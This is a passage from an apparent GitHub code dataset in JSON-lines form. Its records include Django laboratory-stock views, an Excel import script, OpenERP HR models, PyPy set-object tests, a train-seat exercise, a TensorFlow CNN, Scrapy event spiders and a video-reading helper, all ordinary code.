Cd4TestingLabForm(request.POST, instance=item)\n if form.is_valid():\n form.save()\n messages.error(request, \"Record updated successfully!\")\n return HttpResponseRedirect(request.session['page_from'])\n else:\n form = Cd4TestingLabForm(instance=item)\n context = {\n \"form\": form,\n \"title\": \"Update CD4 testing lab details\",\n }\n return render(request, 'lab_pulse/update results.html', context)\n\n\n@login_required(login_url='login')\ndef instructions_lab(request, section):\n if not request.user.first_name:\n return redirect(\"profile\")\n\n # Define a list of valid sections\n valid_sections = [\"introduction\", \"getting_started\", \"entering_results\", \"viewing_results\", \"recommendations\"]\n\n # Check if the provided section is valid\n if section not in valid_sections:\n return redirect(\"instructions_lab\", section=\"introduction\")\n\n context = {\n \"section\": section\n }\n return render(request, 'lab_pulse/instructions.html', context)\n\n\ndef validate_commodity_form(form):\n quantity_received = form.cleaned_data['quantity_received']\n negative_adjustment = form.cleaned_data['negative_adjustment']\n positive_adjustment = form.cleaned_data['positive_adjustments']\n date_commodity_received = form.cleaned_data['date_commodity_received']\n quantity_expired = form.cleaned_data['quantity_expired']\n beginning_balance = form.cleaned_data['beginning_balance']\n\n if date_commodity_received:\n if not quantity_received and not negative_adjustment and not positive_adjustment and not quantity_expired \\\n and not beginning_balance:\n error_message = f\"Provide a valid value!\"\n form.add_error('quantity_received', error_message)\n form.add_error('negative_adjustment', error_message)\n form.add_error('positive_adjustments', error_message)\n form.add_error('quantity_expired', error_message)\n form.add_error('beginning_balance', error_message)\n return False\n\n return True\n\n\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse', 'referring_laboratory_staffs_labpulse'])\ndef add_commodities(request, pk_lab):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n form = ReagentStockForm(request.POST or None)\n selected_lab, created = Facilities.objects.get_or_create(id=pk_lab)\n # commodities = ReagentStock.objects.filter(\n # facility_name__mfl_code=selected_lab.mfl_code,\n # ).order_by(\"-date_commodity_received\")\n\n template_name = 'lab_pulse/add_cd4_data.html'\n context = {\n \"form\": form, \"report_type\": \"commodity\",\n \"title\": f\"Add Commodities for {selected_lab.name.title()} Laboratory\",\n }\n try:\n commodity_status, commodities, cd4_total_remaining, crag_total_remaining, tb_lam_total_remaining = \\\n show_remaining_commodities(selected_lab)\n commodities = pagination_(request, commodities, 100)\n except KeyError:\n # context_copy=context\n # del context_copy['form']\n messages.error(request,\n f\"{selected_lab.name.upper()} reagents are currently unavailable in the database. \"\n f\"The operation cannot be completed. Please contact your laboratory supervisor for assistance \"\n f\"or proceed to add commodities to replenish the stock.\")\n commodity_status = None\n commodities = None\n cd4_total_remaining = None\n crag_total_remaining = None\n tb_lam_total_remaining = None\n # return render(request, template_name,context )\n if request.method == \"POST\":\n if form.is_valid():\n reagent_type = form.cleaned_data['reagent_type']\n # try:\n post = form.save(commit=False)\n if not validate_commodity_form(form):\n # If validation fails, return the form with error messages\n return render(request, template_name, context)\n selected_facility = selected_lab.mfl_code\n\n facility_name = Facilities.objects.filter(mfl_code=selected_facility).first()\n post.facility_name = facility_name\n now = datetime.now()\n # existing_facility_record = ReagentStock.objects.filter(reagent_type=reagent_type,\n # facility_name__mfl_code=selected_facility,\n # remaining_quantity__gt=0,\n # date_commodity_received__month=now.month)\n\n # # TODO FILTER ACTIVE RECORDS(OPERATING BETWEEN 1ST AND END OF THE MONTH)\n\n post.save()\n messages.error(request, \"Record saved successfully!\")\n # Generate the URL for the redirect\n url = reverse('add_commodities', kwargs={\n # 'report_type': report_type,\n 'pk_lab': pk_lab})\n return redirect(url)\n\n else:\n messages.error(request, f\"Record already exists.\")\n render(request, template_name, context)\n\n context = {\n \"form\": form, \"report_type\": \"commodity\", \"commodities\": commodities, \"commodity_status\": commodity_status,\n \"title\": f\"Add Commodities for {selected_lab.name.title()} Laboratory\",\n \"cd4_total_remaining\": cd4_total_remaining, \"tb_lam_total_remaining\": tb_lam_total_remaining,\n \"crag_total_remaining\": crag_total_remaining,\n }\n return render(request, 'lab_pulse/add_cd4_data.html', context)\n\n\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse', 'referring_laboratory_staffs_labpulse'])\ndef choose_lab(request):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n cd4_testing_lab_form = facilities_lab_Form(request.POST or None)\n if request.method == \"POST\":\n if cd4_testing_lab_form.is_valid():\n testing_lab_name = cd4_testing_lab_form.cleaned_data['facility_name']\n # Generate the URL for the redirect\n url = reverse('add_commodities',\n kwargs={\n 'pk_lab': testing_lab_name.id})\n\n return redirect(url)\n context = {\n \"cd4_testing_lab_form\": cd4_testing_lab_form,\n \"title\": \"ADD COMMODITIES\"\n }\n return render(request, 'lab_pulse/add_cd4_data.html', context)\n\n\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse'])\ndef add_facility(request):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n\n facilities = Facilities.objects.all()\n\n form = FacilitiesForm(request.POST or None)\n if form.is_valid():\n facility_name = form.cleaned_data['name']\n existing_lab = Facilities.objects.filter(name__iexact=facility_name)\n if existing_lab.exists():\n form.add_error('testing_lab_name', 'A CD4 Testing Lab with this name already exists.')\n else:\n form.save()\n messages.error(request, \"Record saved successfully!\")\n return redirect(\"choose_testing_lab\")\n context = {\n \"form\": form,\n \"title\": f\"Add Missing Laboratory\",\n \"facilities\": facilities,\n }\n return render(request, 'lab_pulse/add_cd4_data.html', context)\n\n\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse', 'referring_laboratory_staffs_labpulse'])\ndef update_reagent_stocks(request, pk):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n item = ReagentStock.objects.get(id=pk)\n commodity_status, commodities, cd4_total_remaining, crag_total_remaining, tb_lam_total_remaining = \\\n show_remaining_commodities(item.facility_name)\n form = ReagentStockForm(instance=item)\n\n template_name = 'lab_pulse/update results.html'\n context = {\n \"form\": form,\n \"title\": \"Update Commodities\",\n \"commodity_status\": commodity_status,\n \"cd4_total_remaining\": cd4_total_remaining, \"tb_lam_total_remaining\": tb_lam_total_remaining,\n \"crag_total_remaining\": crag_total_remaining,\n }\n\n if request.method == \"POST\":\n form = ReagentStockForm(request.POST, instance=item)\n if form.is_valid():\n post = form.save(commit=False)\n if not validate_commodity_form(form):\n # If validation fails, return the form with error messages\n return render(request, template_name, context)\n selected_facility = item.facility_name.mfl_code\n\n facility_name = Facilities.objects.filter(mfl_code=selected_facility).first()\n post.facility_name = facility_name\n post.save()\n messages.error(request, \"Record updated successfully!\")\n # Generate the URL for the redirect\n return HttpResponseRedirect(request.session['page_from'])\n\n context = {\n \"form\": form,\n \"title\": \"Update Commodities\", \"commodity_status\": commodity_status, \"cd4_total_remaining\": cd4_total_remaining,\n \"tb_lam_total_remaining\": tb_lam_total_remaining,\n \"crag_total_remaining\": crag_total_remaining,\n }\n return render(request, 'lab_pulse/update results.html', context)\n","repo_name":"savannahghi/fyj-cqi","sub_path":"apps/labpulse/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":100145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"75225182505","text":"#pip install openpyxl\n#put this file and the the results.xlsx in the same folder\n#output will be in the file text.xlsx\n#for some reason this openpyxl module has some internal error but this does not affect the data.\n#Thus I copy the column in the test.xlsx and copy that column to results.xlsx in excel.\nfrom openpyxl import load_workbook\n\n\n\ndef main():\n numOfRow=2;\n xfile = load_workbook('EquivalenceConjunc2to3.xlsx')\n #sheet = xfile.get_sheet_by_name('Emptiness-complete')\n sheet = xfile.active\n \n with open('EquivalenceOf2to3Excel2.txt') as f:\n for line in f:\n #get time from file\n line = line.split()\n name = line[0]\n safa1= int(line[1])\n safa2 = int(line[2])\n sfa1 = int(line[3])\n sfa2 = int(line[4])\n safaFull = int(line[5])\n safaSolver = int(line[6])\n safaSub = int(line[7])\n sfa = int(line[8])\n sfaMinussafaFull=int(line[9])\n \n \n\n sheet['A'+str(numOfRow)] = name\n sheet['B'+str(numOfRow)] = safa1\n sheet['C'+str(numOfRow)] = safa2\n sheet['D'+str(numOfRow)] = sfa1\n sheet['E'+str(numOfRow)] = sfa2\n sheet['F'+str(numOfRow)] = safaFull\n sheet['G'+str(numOfRow)] = safaSolver\n sheet['H'+str(numOfRow)] = safaSub\n sheet['I'+str(numOfRow)] = sfa\n sheet['J'+str(numOfRow)] = sfaMinussafaFull\n\n numOfRow +=1\n \n xfile.save('text.xlsx')\n\nmain()","repo_name":"lorisdanto/symbolicautomata","sub_path":"benchmarks/src/main/java/regexconverter/importToExcelEquiv.py","file_name":"importToExcelEquiv.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"36"} +{"seq_id":"73452275305","text":"from osv import osv\nfrom osv import fields\nimport datetime\nimport time\nfrom datetime import date\nfrom dateutil.relativedelta import relativedelta\nfrom openerp import tools\nfrom openerp.addons.base_status.base_stage import base_stage\nfrom datetime import datetime\nfrom openerp.tools.translate import _\nfrom openerp.tools import html2plaintext\nclass hr_employee(osv.osv):\n _name='hr.employee'\n _inherit='hr.employee'\n _columns={\n 'work_experiane_line1':fields.one2many('work.experiance1','work_exp_id1','Work Experience'),\n 'education_line1':fields.one2many('education.inform1','education_id1','Education Information'),\n 'professional_line1':fields.one2many('professional.qualification1','professional_id1','Professional Qualification'),\n 'honor_awards_line1':fields.one2many('honour.award1','honour_id1','Honours/Awards'),\n 'language_spoken_line1':fields.one2many('language.spoken1','language_id1','Language Spoken'),\n \n 'offer_acceptance_line1':fields.one2many('offer.acceptance1','hr_appli_id','Offer Acceptance'),\n 'criminal_record_line1':fields.one2many('criminal.record1','crim_id','Criminal Record'),\n 'other_certificate_line1':fields.one2many('other.certificate1','cerificate_id','Other Certificate'),\n 'family_information_line1':fields.one2many('family.information1','birh_cer_id','Children Birth Information'),\n 'reference_Check_line1':fields.one2many('reference.check1','hr_applicant_id','References'),\n 'medical_certificate':fields.binary('Medical Certificate'),\n 'residence_prove':fields.binary('Residence Approve'),\n 'id_copy':fields.binary('ID Copy'),\n 'passport_copy':fields.binary('Passport Copy'),\n 'drives_licenses':fields.binary('Drives Licenses'),\n 'working_visa':fields.binary('Working Visa'), \n 'id_gaurdian':fields.binary('ID Guardian'), \n 'health_insurance_card':fields.binary('Health Insurance Card'), \n \n }\n \n\n\nclass honour_award1(osv.osv):\n _name='honour.award1' \n _columns={\n 'name':fields.char('Description',size=64),\n 'local':fields.char('Local',size=64),\n 'date':fields.date('Date'),\n 'honour_id1':fields.many2one('hr.employee','Honour/Award'),\n } \n \nclass work_experiance1(osv.osv):\n _name='work.experiance1'\n _columns={\n 'name':fields.char('Company Name',size=64),\n 'cargo_exercised1':fields.char('Roles & Responsibilities',size=64),\n 'responsibility1':fields.char('Post & Designation',size=64),\n 'start_date1':fields.date('From Date'),\n 'finish_date1':fields.date('To Date'),\n 'work_exp_id1':fields.many2one('hr.employee','Work Id'),\n }\nclass education_inform1(osv.osv):\n _name='education.inform1'\n _columns={\n 'name':fields.char('Institute Attended',size=64),\n 'qualification_obtain1':fields.char('Qualification Obtained',size=64),\n 'start_date1':fields.date('Start Date'),\n 'finish_date1':fields.date('Finish Date'),\n 'education_id1':fields.many2one('hr.employee','Educational Id'),\n }\nclass professional_qualification1(osv.osv):\n _name='professional.qualification1'\n _columns={\n 'name':fields.char('Description',size=256),\n 'institute':fields.char('Institution',size=64),\n 'start_date':fields.date('Start Date'),\n 'finish_date':fields.date('Finish Date'),\n 'professional_id1':fields.many2one('hr.employee','Professional Id'),\n }\nclass language_spoken1(osv.osv):\n _name='language.spoken1' \n _columns={\n 'name':fields.char('Language',size=64),\n 'basic':fields.boolean('Basic'),\n 'intermediate':fields.boolean('Intermediate'),\n 'advance':fields.boolean('Advance'),\n 'language_id1':fields.many2one('hr.employee','Language Id')\n } \nclass other_certificate1(osv.osv):\n _name='other.certificate1'\n _columns={\n 'name':fields.binary('Other Certificate'),\n 'desc':fields.char('Certification Description',size=256),\n 'cerificate_id':fields.many2one('hr.employee','Certificate Id',ondelete=\"cascade\"),\n }\nclass family_information1(osv.osv):\n _name='family.information1'\n _columns={\n 'child_name':fields.char('Child Name',size=64),\n 'child_birth_cert':fields.binary('Birth certificate (Children)'),\n 'birh_cer_id':fields.many2one('hr.employee','Birth certificate',ondelete=\"cascade\"),\n \n }\nclass criminal_record1(osv.osv):\n _name=\"criminal.record1\"\n _columns={\n 'description':fields.char('Criminal Record Description',size=256),\n 'crime_attachment':fields.binary('Criminal Record Attachment'),\n 'crim_id':fields.many2one('hr.employee','Criminal Id'),\n }\nclass reference_check1(osv.osv):\n _name='reference.check1'\n def get_serial_no(self, cr, uid, ids, name, arg, context={}):\n res = {}\n count=1\n for each in self.browse(cr, uid, ids):\n res[each.id]=count\n count+=1\n return res\n _columns={\n 'serial_number':fields.function(get_serial_no,type='integer',method=True,string='Sr.No',readonly=True), 'type':fields.selection([('1','Personal'),('2','Corporate')],'Type', required=True),\n 'name':fields.char('Name',size=64),\n 'phone_num':fields.char('Phone Number',size=64),\n 'email':fields.char('Email-Id',size=64),\n 'company':fields.char('Company',size=64),\n 'check_mode':fields.selection([('T','Telephonic'),('P','Personal'),('E','Email')],'Check Mode'),\n 'feedback':fields.text('Feed Back'),\n 'hr_applicant_id':fields.many2one('hr.employee','Reference'),\n } \nclass offer_acceptance1(osv.osv):\n _name='offer.acceptance1'\n def get_serial_no(self, cr, uid, ids, name, arg, context={}):\n res = {}\n count=1\n for each in self.browse(cr, uid, ids):\n res[each.id]=count\n count+=1\n return res\n _columns={\n 'seq_num':fields.function(get_serial_no,type='integer',method=True,string='Sr.No',readonly=True),\n 'prob_joing_date':fields.date('Joining Date',required=True),\n 'offer_latter_acceptance_date':fields.date('Offer Letter Acceptance Date'),\n 'joining_status':fields.selection([('approve','Accepted'),('pending','Pending'),('reject','Declined')],'Joining Status'),\n 'attach_offer_latter':fields.binary('Attachment Offer Letter'),\n 'hr_appli_id':fields.many2one('hr.employee','Offer Letter Acceptance')\n } ","repo_name":"drishti-developer/ISA","sub_path":"HR/isa_hr_employee/isa_hr_employee.py","file_name":"isa_hr_employee.py","file_ext":"py","file_size_in_byte":7058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74243450023","text":"from file_processing import *\n\n#parse all sentences according to variables specified\nmax_length = 40\nlabel_args = [0,0,1]\n\n#check if the number of arguments is correct\n#if len(sys.argv) != 7:\n#\traise ValueError('nr of arguments incorrect, usage:\\n python parse.py dependency_file sentence_file alignment_file print_scores_to print_trees_to print_relations_to')\n\nall_dependencies = sys.argv[1]\nall_sentences = sys.argv[2]\nall_alignments = sys.argv[3]\nlabel_type = sys.argv[4]\nrelations = sys.argv[5]\n\nr = open(relations, 'w')\nfiles = ProcessFiles(all_alignments, all_sentences, all_dependencies)\nlabel_dict = files.consistent_labels(label_type, max_length)\nfor label in label_dict:\n\ttotal, found = label_dict[label]\n\tr.write('%s %25i %25i %25f\\n' % (label, total, found, float(found)/float(total) ))\t\n\ntotal, found = 0,0\nfor label in label_dict:\n\ttotal += label_dict[label][0]\n\tfound += label_dict[label][1]\n\n#r.write('\\n\\nTotal\\t\\t' + str(total) +'\\t\\t' + str(found) + '\\t\\t' + str(found/total))\nr.write('\\n\\nTotal %25i %25i %25f' % (total, found, float(found)/float(total)))\n\nr.close()\nfiles.close_all()\n","repo_name":"dieuwkehupkes/Thesis","sub_path":"label_consistency.py","file_name":"label_consistency.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"43298450694","text":"from rpython.rtyper.lltypesystem import lltype\nfrom pypy.module.cpyext.test.test_api import BaseApiTest, raises_w\nfrom pypy.module.cpyext.test.test_cpyext import AppTestCpythonExtensionBase\nfrom pypy.module.cpyext.setobject import (\n PySet_Check, PyFrozenSet_Check, PyFrozenSet_CheckExact,\n PySet_Add, PySet_Size, PySet_GET_SIZE)\nfrom pypy.module.cpyext.api import Py_ssize_tP, PyObjectP\nfrom pypy.module.cpyext.pyobject import from_ref\n\n\nclass TestTupleObject(BaseApiTest):\n def test_setobj(self, space):\n assert not PySet_Check(space, space.w_None)\n assert not PyFrozenSet_Check(space, space.w_None)\n with raises_w(space, SystemError):\n PySet_Add(space, space.w_None, space.w_None)\n w_set = space.call_function(space.w_set)\n assert not PyFrozenSet_CheckExact(space, w_set)\n space.call_method(w_set, 'update', space.wrap([1, 2, 3, 4]))\n assert PySet_Size(space, w_set) == 4\n assert PySet_GET_SIZE(space, w_set) == 4\n with raises_w(space, TypeError):\n PySet_Size(space, space.newlist([]))\n\n def test_set_add_discard(self, space, api):\n w_set = api.PySet_New(None)\n assert api.PySet_Size(w_set) == 0\n w_set = api.PyFrozenSet_New(space.wrap([1, 2, 3, 4]))\n assert api.PySet_Size(w_set) == 4\n w_set = api.PySet_New(space.wrap([1, 2, 3, 4]))\n assert api.PySet_Size(w_set) == 4\n api.PySet_Add(w_set, space.wrap(6))\n assert api.PySet_Size(w_set) == 5\n res = api.PySet_Discard(w_set, space.wrap(6))\n assert res == 1\n assert api.PySet_Size(w_set) == 4\n res = api.PySet_Discard(w_set, space.wrap(6))\n assert res == 0\n assert api.PySet_Size(w_set) == 4\n\n def test_frozenset_add(self, space, api):\n w_set = api.PyFrozenSet_New(None)\n api.PySet_Add(w_set, space.wrap(4))\n assert api.PySet_Size(w_set) == 1\n api.PySet_Add(w_set, space.wrap(5))\n assert api.PySet_Size(w_set) == 2\n assert space.hash_w(w_set) != 0 # makes the set really frozen\n with raises_w(space, SystemError):\n api.PySet_Add(w_set, space.wrap(6))\n\n def test_set_contains(self, space, api):\n w_set = api.PySet_New(space.wrap([1, 2, 3, 4]))\n assert api.PySet_Contains(w_set, space.wrap(1))\n assert not api.PySet_Contains(w_set, space.wrap(0))\n\n def test_set_pop_clear(self, space, api):\n w_set = api.PySet_New(space.wrap([1, 2, 3, 4]))\n w_obj = api.PySet_Pop(w_set)\n assert space.int_w(w_obj) in (1, 2, 3, 4)\n assert space.len_w(w_set) == 3\n api.PySet_Clear(w_set)\n assert space.len_w(w_set) == 0\n\n def test_anyset_check(self, space, api):\n w_set = api.PySet_New(space.wrap([1, 2, 3, 4]))\n w_frozenset = space.newfrozenset([space.wrap(i) for i in [1, 2, 3, 4]])\n assert api.PyAnySet_CheckExact(w_set)\n assert api.PyAnySet_CheckExact(w_frozenset)\n assert api.PyAnySet_Check(w_set)\n assert api.PyAnySet_Check(w_frozenset)\n w_instance = space.appexec([], \"\"\"():\n class MySet(set):\n pass\n return MySet()\n \"\"\")\n assert api.PyAnySet_Check(w_instance)\n\n def test_pyset_next(self, space, api):\n w_set = space.call_function(space.w_set, space.newtext(\"ab\"))\n with lltype.scoped_alloc(Py_ssize_tP.TO, 1) as pos_p:\n with lltype.scoped_alloc(PyObjectP.TO, 1) as result_p:\n pos_p[0] = 0\n res = api._PySet_Next(w_set, pos_p, result_p)\n assert res == 1\n letter1 = space.text_w(from_ref(space, result_p[0]))\n res = api._PySet_Next(w_set, pos_p, result_p)\n assert res == 1\n letter2 = space.text_w(from_ref(space, result_p[0]))\n res = api._PySet_Next(w_set, pos_p, result_p)\n assert res == 0\n assert set([letter1, letter2]) == set(\"ab\")\n\n def test_pyset_nextentry(self, space, api):\n w_set = space.call_function(space.w_set, space.newtext(\"ab\"))\n with lltype.scoped_alloc(Py_ssize_tP.TO, 1) as pos_p:\n with lltype.scoped_alloc(PyObjectP.TO, 1) as result_p:\n with lltype.scoped_alloc(Py_ssize_tP.TO, 1) as hash_p:\n pos_p[0] = 0\n res = api._PySet_NextEntry(w_set, pos_p, result_p, hash_p)\n assert res == 1\n w_obj = from_ref(space, result_p[0])\n letter1 = space.text_w(w_obj)\n assert hash_p[0] == space.hash_w(w_obj)\n res = api._PySet_NextEntry(w_set, pos_p, result_p, hash_p)\n assert res == 1\n w_obj = from_ref(space, result_p[0])\n letter2 = space.text_w(w_obj)\n assert hash_p[0] == space.hash_w(w_obj)\n res = api._PySet_NextEntry(w_set, pos_p, result_p, hash_p)\n assert res == 0\n assert set([letter1, letter2]) == set(\"ab\")\n\n\nclass AppTestSetObject(AppTestCpythonExtensionBase):\n def test_set_macro_cast(self):\n module = self.import_extension('foo', [\n (\"test_macro_cast\", \"METH_NOARGS\",\n \"\"\"\n PyObject* o = PySet_New(NULL);\n // no PySetObject\n char* dumb_pointer = (char*) o;\n\n PySet_GET_SIZE(o);\n PySet_GET_SIZE(dumb_pointer);\n\n return o;\n \"\"\")\n ])\n","repo_name":"mozillazg/pypy","sub_path":"pypy/module/cpyext/test/test_setobject.py","file_name":"test_setobject.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":430,"dataset":"github-code","pt":"36"} +{"seq_id":"9091587487","text":"import random\n\n\ndef random_carriage(coupe_amount=9):\n \"\"\"\n Определяет все места в вагоне\n\n Arg:\n coupe_amount(int): количество купе - 9\n\n Returns:\n (carriage): все места в вагоне\n \"\"\"\n carriage = []\n coupe = {}\n for place in range(1, coupe_amount * 4 + 1):\n coupe[place] = random.choice([None, 'м', 'ж'])\n if len(coupe) == 4:\n carriage.append(coupe)\n coupe = {}\n return carriage\n\n\ndef print_carriage(carriage):\n \"\"\"\n Выводит все места в вагоне\n\n Arg:\n carriage(int): вагон\n \"\"\"\n for index, coupe in enumerate(carriage):\n print(index + 1, ':', coupe)\n\n\ndef empty_coupe_list(carriage):\n \"\"\"\n Определяет свободные места в вагоне\n\n Arg:\n carriage(int): вагон\n\n Returns:\n (answer): ответ на первый вопрос\n \"\"\"\n answer = {}\n for index, coupe in enumerate(carriage):\n if not any(coupe.values()):\n answer[index + 1] = coupe\n return answer\n\n\ndef empty_place_list(carriage):\n \"\"\"\n Определяет свободные места в купе\n\n Arg:\n carriage(int): вагон\n\n Returns:\n (answer): ответ на второй вопрос\n \"\"\"\n answer = []\n for coupe in carriage:\n for place in coupe:\n if not coupe[place]:\n answer.append(place)\n return answer\n\n\ndef empty_lh_place_list(carriage, low=True):\n \"\"\"\n Определяет свободные нижние/верхние места в вагоне\n\n Arg:\n carriage(int): вагон\n\n Returns:\n (answer): ответ на третий вопрос\n \"\"\"\n answer = []\n for coupe in carriage:\n for place in coupe:\n if not coupe[place] and place % 2 == int(low):\n answer.append(place)\n return answer\n\n\ndef empty_places_in_gender_coupe(carriage, gender):\n \"\"\"\n Определяет свободные места в вагоне исключительно с мужской/женской компанией\n\n Arg:\n carriage(int): вагон\n\n Returns:\n (answer): ответ на четвертый/пятый вопрос\n \"\"\"\n answer = []\n for coupe in carriage:\n answer1 = []\n for place in coupe:\n if not coupe[place]:\n answer1.append(place)\n elif coupe[place] != gender:\n break\n else:\n if len(answer1) < 4:\n answer += answer1\n return answer\n\n\ncarriage = random_carriage()\nprint_carriage(carriage)\n\nprint('Список полностью свободных купе')\nprint(empty_coupe_list(carriage))\nprint('Список свободных мест в вагоне')\nprint(empty_place_list(carriage))\nprint('Список свободных нижних мест в вагоне')\nprint(empty_lh_place_list(carriage))\nprint('Список свободных верхних мест в вагоне')\nprint(empty_lh_place_list(carriage, False))\nprint('Список свободных мест в купе с исключительно мужской компанией')\nprint(empty_places_in_gender_coupe(carriage, 'м'))\nprint('Список свободных мест в купе с исключительно женс��ой компанией')\nprint(empty_places_in_gender_coupe(carriage, 'ж'))\n","repo_name":"albina2604/practice2","sub_path":"task5.py","file_name":"task5.py","file_ext":"py","file_size_in_byte":3527,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"32174735889","text":"import numpy as np\nimport tensorflow as tf\n\n# pylint: disable-msg=C0103\n# pylint: disable=too-many-instance-attributes\n\nclass CNN_Model(object):\n\n def __init__(self, params, input_x=None, is_training=True):\n\n self._params = params\n self._is_training = is_training\n self._data_format = params.data_format\n self.input_x = input_x\n\n with tf.variable_scope('training_counters', reuse=tf.AUTO_REUSE) as _:\n self.global_step = tf.train.get_or_create_global_step()\n\n self.build_graph()\n self.loss = None\n self.optimizer = None\n self.train_op = None\n\n def build_graph(self):\n \"\"\" network \"\"\"\n\n # Convolutional layers\n _h = self.input_x\n\n with tf.variable_scope('model'):\n for _fs in self._params.conv_filters:\n _h = tf.layers.conv2d(_h, filters=_fs, **self._params.conv_args)\n _h = tf.layers.max_pooling2d(_h, **self._params.maxpool_args)\n\n if self._params.conv_dropout_rate:\n _h = tf.layers.dropout(_h, rate=self._params.conv_dropout_rate,\n training=self._is_training)\n _h = tf.layers.flatten(_h)\n\n # Fully connected layers\n for _u, _do in zip(self._params.fc_hidden_units, self._params.fc_dropout_rates):\n _h = tf.layers.dense(_h, units=_u, activation=self._params.fc_activation)\n if _do:\n _h = tf.layers.dropout(_h, rate=_do, training=self._is_training)\n\n # Ouptut layer\n self.logits = tf.layers.dense(_h, units=1)\n\n print(\"Number of model parameters\", np.sum([np.prod(v.shape) for v in tf.trainable_variables()]))\n\n def define_loss(self, labels):\n \"\"\" define loss \"\"\"\n\n with tf.name_scope('sigmoid_cross_entropy'):\n self.loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(\n labels=labels, logits=self.logits))\n\n def define_optimizer(self):\n \"\"\" build optimizer \"\"\"\n\n with tf.variable_scope('optimizer') as _:\n self.optimizer = tf.train.AdamOptimizer(self._params.learning_rate)\n\n def define_train_op(self):\n \"\"\" build train_op \"\"\"\n\n with tf.variable_scope('train_op') as _:\n self.train_op = self.optimizer.minimize(self.loss, global_step=self.global_step)\n","repo_name":"MustafaMustafa/data-day-2018-DL-Scaling","sub_path":"models/cnn_model.py","file_name":"cnn_model.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"30832514498","text":"\"\"\"Scrapy spiders.\"\"\"\n\nimport re\nfrom datetime import datetime\nfrom urllib.parse import urljoin\n\nimport scrapy\nimport scrapy_djangoitem\nfrom dateutil.parser import parse\nfrom dateutil.relativedelta import relativedelta\n\nfrom rough_trade_calendar import models\n\n\nclass Event(scrapy_djangoitem.DjangoItem):\n django_model = models.Event\n\n\nclass EventsSpider(scrapy.Spider):\n \"\"\"Events spider.\"\"\"\n\n name = \"rough_trade_events\"\n\n def start_requests(self):\n now = datetime.now()\n for loc in models.Location.objects.all():\n for month_num in range(0, 6):\n date = now + relativedelta(months=month_num)\n url = \"/\".join([loc.events_url, str(date.year), str(date.month)])\n yield scrapy.Request(\n url=url, callback=self.parse, cb_kwargs={\"date\": date}\n )\n\n def parse(self, response, date): # pylint: disable=arguments-differ\n loc = models.Location.objects.get_by_events_url(response.url)\n\n for event in response.xpath(\"//div[contains(@class, 'event-same-height')]\"):\n start_at = parse(\n event.xpath(\".//*[@class='text-sm']/text()\").get(), default=date\n )\n start_at = loc.timezone.localize(start_at)\n\n description = event.xpath(\".//div[contains(@class, 'f-n')]/text()\").get()\n if description is None:\n description = \"\"\n\n event = Event(\n name=event.xpath(\".//h2/a/text()\").get(),\n description=description,\n url=urljoin(response.url, event.xpath(\".//a/@href\").get()),\n image_url=urljoin(response.url, event.xpath(\".//img/@src\").get()),\n start_at=start_at,\n location=loc,\n )\n\n yield event\n\n\nclass EventDetailSpider(scrapy.Spider):\n \"\"\"Event detail spider.\"\"\"\n\n name = \"rough_trade_event_detail\"\n\n def start_requests(self):\n for event in models.Event.objects.all():\n yield scrapy.Request(url=event.url, callback=self.parse)\n\n def parse(self, response, **kwargs):\n event = models.Event.objects.get(url=response.url)\n\n if response.status >= 300:\n self.logger.info(\n \"Request for %s returned status %d; deleting event.\"\n % (response.url, response.status)\n )\n event.delete()\n\n else:\n youtube_embed_url = response.xpath(\n \"//iframe[contains(@src, 'youtube.com')]/@src\"\n ).get()\n if youtube_embed_url:\n match = re.search(r\"youtube\\.com/embed/([^\\?]+)\", youtube_embed_url)\n youtube_id = match.group(1)\n else:\n youtube_id = \"\"\n\n detail_html = response.xpath(\"//div[contains(@class, 'editorial')]\").get()\n\n event = Event(\n url=response.url, youtube_id=youtube_id, detail_html=detail_html\n )\n\n yield event\n","repo_name":"craiga/rough-trade-calendar","sub_path":"rough_trade_calendar/spiders.py","file_name":"spiders.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"30787443612","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 5 07:53:28 2023\n\n@author: sowmya\n\"\"\"\n\nfrom cap_from_youtube import list_video_streams\nfrom cap_from_youtube import cap_from_youtube\nimport cv2\n\n\ndef read_local_video(video_path):\n supported_formats = ['asf', 'avi', 'gif', 'm4v', 'mkv', 'mov',\n 'mp4', 'mpeg', 'mpg', 'ts', 'wmv', 'webm']\n if video_path.split('.')[-1] not in supported_formats:\n print(f'Unsupported format: {video_path.split(\".\")[-1]}')\n return\n cap = cv2.VideoCapture(video_path)\n return cap\n\ndef read_youtube_video(video_url, resolution=None):\n if not resolution:\n cap = cap_from_youtube(video_url, resolution)\n else:\n cap = cap_from_youtube(video_url)\n return cap\n\ndef get_ytube_video_info(video_url):\n streams, resolutions = list_video_streams(video_url)\n for stream in streams:\n print(stream)\n return resolutions\n\n\ndef read_video(video_path, 